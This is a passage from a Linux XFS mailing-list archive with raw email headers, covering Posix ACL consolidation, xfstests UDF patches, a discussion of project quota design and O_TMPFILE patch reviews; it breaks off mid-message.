10:59:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C7253AC007 for ; Mon, 23 Dec 2013 08:59:26 -0800 (PST) X-ASG-Debug-ID: 1387817961-04cbb041698d4630001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0a-00082601.pphosted.com [67.231.145.42]) by cuda.sgi.com with ESMTP id ezmtL6bQSxS5Va3p for ; Mon, 23 Dec 2013 08:59:22 -0800 (PST) X-Barracuda-Envelope-From: prvs=506908e109=clm@fb.com X-Barracuda-Apparent-Source-IP: 67.231.145.42 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] Received: from pps.filterd (m0044012 [127.0.0.1]) by mx0a-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id rBNGud18025211; Mon, 23 Dec 2013 08:58:04 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=from : to : cc : subject : date : message-id : references : in-reply-to : content-type : content-id : content-transfer-encoding : mime-version; s=facebook; bh=1mmlgQlIAz9mc1AqCULwBd29AtL2F3U5Zlpwc/VIQ/o=; b=gM9mWGaevllv9cQLwXtKOWRaOjiwQRIy/e7wVsOyw9OjOytL3jCH2WmtWDOopjnrq8/+ 0jTXTIExbdpmiJ+VpOurqhL4RZtRhlYE0pFNREM857V2TwE3I+ixzrqNz2C7JLCwQMJ9 4eZhQDhXvbRVd+BxVISOV2+SD3aSyHN7sNg= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0a-00082601.pphosted.com with ESMTP id 1gxnvsrjgn-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 23 Dec 2013 08:58:03 -0800 Received: from PRN-MBX02-4.TheFacebook.com ([169.254.5.209]) by PRN-CHUB04.TheFacebook.com ([fe80::7ded:c10e:ef04:80d8%12]) with mapi id 14.03.0174.001; Mon, 23 Dec 2013 08:57:59 -0800 From: Chris Mason To: "hch@infradead.org" CC: "jlbec@evilplan.org" , "linux-mtd@lists.infradead.org" , "xfs@oss.sgi.com" , "jfs-discussion@lists.sourceforge.net" , "mfasheh@suse.com" , "reiserfs-devel@vger.kernel.org" , "linux-nfs@vger.kernel.org" , "andreas.gruenbacher@linbit.com" , "viro@zeniv.linux.org.uk" , "linux-btrfs@vger.kernel.org" , "linux-fsdevel@vger.kernel.org" , "linux-f2fs-devel@lists.sourceforge.net" , "linux-ext4@vger.kernel.org" , "cluster-devel@redhat.com" Subject: Re: [PATCH 00/21] Consolidate Posix ACL implementation V3 Thread-Topic: [PATCH 00/21] Consolidate Posix ACL implementation V3 X-ASG-Orig-Subj: Re: [PATCH 00/21] Consolidate Posix ACL implementation V3 Thread-Index: AQHO/Yf5KtlPx5PCr0GXcQXocAbR9ppii24A Date: Mon, 23 Dec 2013 16:57:58 +0000 Message-ID: <1387817904.8080.4.camel@ret.masoncoding.com> References: <20131220131635.650823732@bombadil.infradead.org> In-Reply-To: <20131220131635.650823732@bombadil.infradead.org> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [192.168.16.4] Content-Type: text/plain; charset="utf-7" Content-ID: <55F48838A946C644AC50A45C770BFE71@fb.com> Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2013-12-23_02:2013-12-23,2013-12-23,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=0 kscore.compositescore=0 circleOfTrustscore=0 compositescore=0.997797785400377 urlsuspect_oldscore=0.997797785400377 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=62764 rbsscore=0.997797785400377 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1312230113 X-FB-Internal: deliver X-Barracuda-Connect: mx0a-00082601.pphosted.com[67.231.145.42] X-Barracuda-Start-Time: 1387817962 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, 2013-12-20 at 05:16 -0800, Christoph Hellwig wrote: +AD4- This series consolidates the various cut'n'pasted Posix ACL implement= ations +AD4- into a single common one based on the -+AD4-get+AF8-acl method Linus = added a while +AD4- ago and a new -+AD4-set+AF8-acl counterpart. +AD4-=20 +AD4- This remove +AH4-1800 lines of code and provides a single place to im= plement +AD4- various nasty little gems of the semantics. Is this in a git tree somewhere? I'll pull in and test the btrfs bits. -chris From BATV+d629d9684961c9ff91b7+3774+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 23 11:01:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8CDCA7F6B for ; Mon, 23 Dec 2013 11:01:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 63E6B30408C for ; Mon, 23 Dec 2013 09:01:08 -0800 (PST) X-ASG-Debug-ID: 1387818066-04bdf00fdf1c1790001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id DyeFDGjxJZE74Lnp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 23 Dec 2013 09:01:07 -0800 (PST) X-Barracuda-Envelope-From: BATV+d629d9684961c9ff91b7+3774+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vv8sJ-0003sT-1E; Mon, 23 Dec 2013 17:01:03 +0000 Date: Mon, 23 Dec 2013 09:01:03 -0800 From: "hch@infradead.org" To: Chris Mason Cc: "hch@infradead.org" , "jlbec@evilplan.org" , "linux-mtd@lists.infradead.org" , "xfs@oss.sgi.com" , "jfs-discussion@lists.sourceforge.net" , "mfasheh@suse.com" , "reiserfs-devel@vger.kernel.org" , "linux-nfs@vger.kernel.org" , "andreas.gruenbacher@linbit.com" , "viro@zeniv.linux.org.uk" , "linux-btrfs@vger.kernel.org" , "linux-fsdevel@vger.kernel.org" , "linux-f2fs-devel@lists.sourceforge.net" , "linux-ext4@vger.kernel.org" , "cluster-devel@redhat.com" Subject: Re: [PATCH 00/21] Consolidate Posix ACL implementation V3 Message-ID: <20131223170103.GA14856@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 00/21] Consolidate Posix ACL implementation V3 References: <20131220131635.650823732@bombadil.infradead.org> <1387817904.8080.4.camel@ret.masoncoding.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1387817904.8080.4.camel@ret.masoncoding.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387818067 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143330 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 23, 2013 at 04:57:58PM +0000, Chris Mason wrote: > On Fri, 2013-12-20 at 05:16 -0800, Christoph Hellwig wrote: > > This series consolidates the various cut'n'pasted Posix ACL implementations > > into a single common one based on the ->get_acl method Linus added a while > > ago and a new ->set_acl counterpart. > > > > This remove ~1800 lines of code and provides a single place to implement > > various nasty little gems of the semantics. > > Is this in a git tree somewhere? Only on my box. Given how shitty kernel.org is to use these days I don't bother with it anymore. From jack@suse.cz Mon Dec 23 16:54:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 443CE7F7D for ; Mon, 23 Dec 2013 16:54:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 292108F8050 for ; Mon, 23 Dec 2013 14:54:00 -0800 (PST) X-ASG-Debug-ID: 1387839237-04bdf00fe01d8e40001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id fkfhjKb4HNGPhByH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 23 Dec 2013 14:53:58 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 42F38ABB4 for ; Mon, 23 Dec 2013 22:53:57 +0000 (UTC) Received: by quack.suse.cz (Postfix, from userid 1000) id 721E781F9B; Mon, 23 Dec 2013 23:53:55 +0100 (CET) From: Jan Kara To: xfs@oss.sgi.com Cc: Jan Kara Subject: [PATCH 1/2] Fix output parsing in _check_udf_filesystem() Date: Mon, 23 Dec 2013 23:53:50 +0100 X-ASG-Orig-Subj: [PATCH 1/2] Fix output parsing in _check_udf_filesystem() Message-Id: <1387839231-8558-2-git-send-email-jack@suse.cz> X-Mailer: git-send-email 1.8.1.4 In-Reply-To: <1387839231-8558-1-git-send-email-jack@suse.cz> References: <1387839231-8558-1-git-send-email-jack@suse.cz> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1387839238 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143341 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Move of tests into separate subdirectories broke sed(1) expression in _check_udf_filesystem(). Actually use of sed in that place was rather stupid so just replace it with plain echo. Signed-off-by: Jan Kara --- common/rc | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/common/rc b/common/rc index fe6bbfcbfc55..12f0196655a8 100644 --- a/common/rc +++ b/common/rc @@ -1582,9 +1582,8 @@ _check_udf_filesystem() sleep 1 # Due to a problem with time stamps in udf_test $here/src/udf_test $OPT_ARG $device | tee $seqres.checkfs | egrep "Error|Warning" | \ _udf_test_known_error_filter | \ - egrep -iv "Error count:.*[0-9]+.*total occurrences:.*[0-9]+|Warning count:.*[0-9]+.*total occurrences:.*[0-9]+" | \ - sed "s/^.*$/Warning UDF Verifier reported errors see $seqres.checkfs./g" - + egrep -iv "Error count:.*[0-9]+.*total occurrences:.*[0-9]+|Warning count:.*[0-9]+.*total occurrences:.*[0-9]+" && \ + echo "Warning UDF Verifier reported errors see $seqres.checkfs." } _check_xfs_test_fs() -- 1.8.1.4 From jack@suse.cz Mon Dec 23 16:54:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7B8FA7F81 for ; Mon, 23 Dec 2013 16:54:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 122B4AC010 for ; Mon, 23 Dec 2013 14:54:00 -0800 (PST) X-ASG-Debug-ID: 1387839237-04cbb041678eac30001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id CMsl8IDLYUXEhIa1 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 23 Dec 2013 14:53:58 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 4B3E2AC19 for ; Mon, 23 Dec 2013 22:53:57 +0000 (UTC) Received: by quack.suse.cz (Postfix, from userid 1000) id 7320581F9E; Mon, 23 Dec 2013 23:53:55 +0100 (CET) From: Jan Kara To: xfs@oss.sgi.com Cc: Jan Kara Subject: [PATCH 2/2] Add udf support into _scratch_mkfs_sized Date: Mon, 23 Dec 2013 23:53:51 +0100 X-ASG-Orig-Subj: [PATCH 2/2] Add udf support into _scratch_mkfs_sized Message-Id: <1387839231-8558-3-git-send-email-jack@suse.cz> X-Mailer: git-send-email 1.8.1.4 In-Reply-To: <1387839231-8558-1-git-send-email-jack@suse.cz> References: <1387839231-8558-1-git-send-email-jack@suse.cz> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1387839238 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143341 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Signed-off-by: Jan Kara --- common/rc | 3 +++ 1 file changed, 3 insertions(+) diff --git a/common/rc b/common/rc index 12f0196655a8..22cd975b3fe8 100644 --- a/common/rc +++ b/common/rc @@ -563,6 +563,9 @@ _scratch_mkfs_sized() ext2|ext3|ext4|ext4dev) yes | ${MKFS_PROG}.$FSTYP $MKFS_OPTIONS -b $blocksize $SCRATCH_DEV $blocks ;; + udf) + $MKFS_UDF_PROG $MKFS_OPTIONS -b $blocksize $SCRATCH_DEV $blocks + ;; btrfs) $MKFS_BTRFS_PROG $MKFS_OPTIONS -b $fssize $SCRATCH_DEV ;; -- 1.8.1.4 From jack@suse.cz Mon Dec 23 16:54:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5C8BE7F80 for ; Mon, 23 Dec 2013 16:54:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 014DFAC00E for ; Mon, 23 Dec 2013 14:53:59 -0800 (PST) X-ASG-Debug-ID: 1387839237-04cbb041688eac30001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id QrSuan9a0ogEXcOY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 23 Dec 2013 14:53:58 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 45C4DABE7 for ; Mon, 23 Dec 2013 22:53:57 +0000 (UTC) Received: by quack.suse.cz (Postfix, from userid 1000) id 6DE3381FFB; Mon, 23 Dec 2013 23:53:55 +0100 (CET) From: Jan Kara To: xfs@oss.sgi.com Subject: [PATCH 0/2] xfstests: UDF support improvements Date: Mon, 23 Dec 2013 23:53:49 +0100 X-ASG-Orig-Subj: [PATCH 0/2] xfstests: UDF support improvements Message-Id: <1387839231-8558-1-git-send-email-jack@suse.cz> X-Mailer: git-send-email 1.8.1.4 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1387839238 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143341 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hello, below are two patches which improve UDF support in xfstests. Honza From david@fromorbit.com Mon Dec 23 17:44:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EC77B7F7D for ; Mon, 23 Dec 2013 17:44:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D38AA8F8050 for ; Mon, 23 Dec 2013 15:44:04 -0800 (PST) X-ASG-Debug-ID: 1387842242-04cbb041698edb30001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id Bd58gSnhPHVf9qz3 for ; Mon, 23 Dec 2013 15:44:02 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtEJABrKuFJ5LHyk/2dsb2JhbABZgwuEDLEkhVGBHBd0giUBAQEDARgLDwEjIwULCAMYAgIFDBUCAg8FJQMhE4d8B7FHmjIXFoETjSQBCk0HCoJkgUgEmBaSFYNBKIEsAR8 Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 24 Dec 2013 10:14:00 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VvFAC-00075b-1C; Tue, 24 Dec 2013 10:43:56 +1100 Date: Tue, 24 Dec 2013 10:43:56 +1100 From: Dave Chinner To: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= Cc: xfs@oss.sgi.com, linux-ext4@vger.kernel.org, Theodore Ts'o , Andreas Dilger , Dmitry Monakhov , Ben Myers Subject: Re: [RFC] directory quota survey on xfs Message-ID: <20131223234355.GK3220@dastard> X-ASG-Orig-Subj: Re: [RFC] directory quota survey on xfs References: <20131222095929.GA11444@gmail.com> <20131223014222.GC3220@dastard> <201312231012.19204.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <201312231012.19204.arekm@maven.pl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1387842242 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143342 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 23, 2013 at 10:12:19AM +0100, Arkadiusz Miśkiewicz wrote: > On Monday 23 of December 2013, Dave Chinner wrote: > > > > As always, any comment or idea are welcome. > > > > I'd suggest that you implement project quotas, not directory quotas. > > They are way more flexible than pure directory quotas, but with only > > a few lines of code and a special directory flag they can be used to > > > implement directory subtree quotas.... > > Would be also nice to allow a file to belong to more than one project. Not possible. Apart from there only being a single project ID to an inode, having to account an inode ot mulitple project quotas effectively makes every transaction in XFS have to modify an unbound number of dquots. We don't have the infrastructure to do that, we can't reserve log space for unbound sized transactions, etc. > Let say I want to have > > /projects/ with 10GB quota > and > /projects/projectA/ with 1GB quota > /projects/projectB/ with 2GB quota > and so on that's still limited by /projects/ 10GB quota limit. What you get is exclusive accounting - the 10GB limit on /projects/ excludes the limits set on /projects/projectA/ and /projects/projectB/. Think about it for a minute - if we make subtrees nest like you suggest, then: /projects/ with 10GB quota /projects/projectA/ with 5GB quota /projects/projectA/subproj1 with 3GB quota /projects/projectA/subproj1/ssp2 with 2GB quota /projects/projectA/subproj1/ssp2/sssp3 with 1GB quota if we modify a file in ..../sssp3/, then we have 5 project quotas we have to check for limit enforcement, reserve blocks on and then transactionally modify (plus user and group for the file itself). That's exceedingly complex because we don't have pointers to all the inodes in the path back up to the root, so just to find that we have nested project quotas requires a reverse path walk to find the directory inodes to get their project IDs to look up the dquots we'd need to modify. The complexity and performance overhead of recursive project quota accounting simply isn't worth it. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 23 18:55:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7246F7F83 for ; Mon, 23 Dec 2013 18:55:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 595108F8050 for ; Mon, 23 Dec 2013 16:55:11 -0800 (PST) X-ASG-Debug-ID: 1387846509-04bdf00fe21e06b0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 6AsMC415mEwOXZBO for ; Mon, 23 Dec 2013 16:55:09 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As4JAKnauFJ5LHyk/2dsb2JhbABZgwu1LYVRgRwXdIIlAQEBBDocIxAIAxUDCSUPBSUDIROIA8wAFxaPDweENgSYFopMh0mDQSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 24 Dec 2013 11:25:08 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VvGH4-0007IA-2l; Tue, 24 Dec 2013 11:55:06 +1100 Date: Tue, 24 Dec 2013 11:55:06 +1100 From: Dave Chinner To: Zhi Yong Wu Cc: xfs@oss.sgi.com, Zhi Yong Wu Subject: Re: [PATCH v2 2/3] xfs: add O_TMPFILE support Message-ID: <20131224005506.GL3220@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 2/3] xfs: add O_TMPFILE support References: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> <1387326161-24530-3-git-send-email-zwu.kernel@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1387326161-24530-3-git-send-email-zwu.kernel@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1387846509 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143344 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 18, 2013 at 08:22:40AM +0800, Zhi Yong Wu wrote: > From: Zhi Yong Wu > > Add two functions xfs_create_tmpfile() and xfs_vn_tmpfile() > to support O_TMPFILE file creation. > > In contrast to xfs_create(), xfs_create_tmpfile() has a different > log reservation to the regular file creation because there is no > directory modification, and doesn't check if an entry can be added > to the directory, but the reservation quotas is required appropriately, > and finally its inode is added to the unlinked list. > > xfs_vn_tmpfile() add one O_TMPFILE method to VFS interface and directly > invoke xfs_create_tmpfile(). There's minor stuff I could ask you to change, but I think this is good enough for initial support of O_TMPFILE. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 23 18:55:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 728B47F8A for ; Mon, 23 Dec 2013 18:55:40 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 649728F804C for ; Mon, 23 Dec 2013 16:55:40 -0800 (PST) X-ASG-Debug-ID: 1387846538-04cbb041688f22c0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id WM9FcITVdJMc1Cd2 for ; Mon, 23 Dec 2013 16:55:38 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As4JAKnauFJ5LHyk/2dsb2JhbABZgwu1LYVRgRwXdIIlAQEBBDocIxAIAxUDCQwZDwUlAyETiAPMABcWjw8HCoQsBIxbizuHQYMLh0mDQSiBLCQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 24 Dec 2013 11:25:38 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VvGHY-0007II-3Q; Tue, 24 Dec 2013 11:55:36 +1100 Date: Tue, 24 Dec 2013 11:55:36 +1100 From: Dave Chinner To: Zhi Yong Wu Cc: xfs@oss.sgi.com, Zhi Yong Wu Subject: Re: [PATCH v2 3/3] xfs: allow linkat() on O_TMPFILE files Message-ID: <20131224005536.GM3220@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 3/3] xfs: allow linkat() on O_TMPFILE files References: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> <1387326161-24530-4-git-send-email-zwu.kernel@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1387326161-24530-4-git-send-email-zwu.kernel@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1387846538 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143344 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 18, 2013 at 08:22:41AM +0800, Zhi Yong Wu wrote: > From: Zhi Yong Wu > > The VFS allows an anonymous temporary file to be named at a later > time via a linkat() syscall. The inodes for O_TMPFILE files are > are marked with a special flag I_LINKABLE and have a 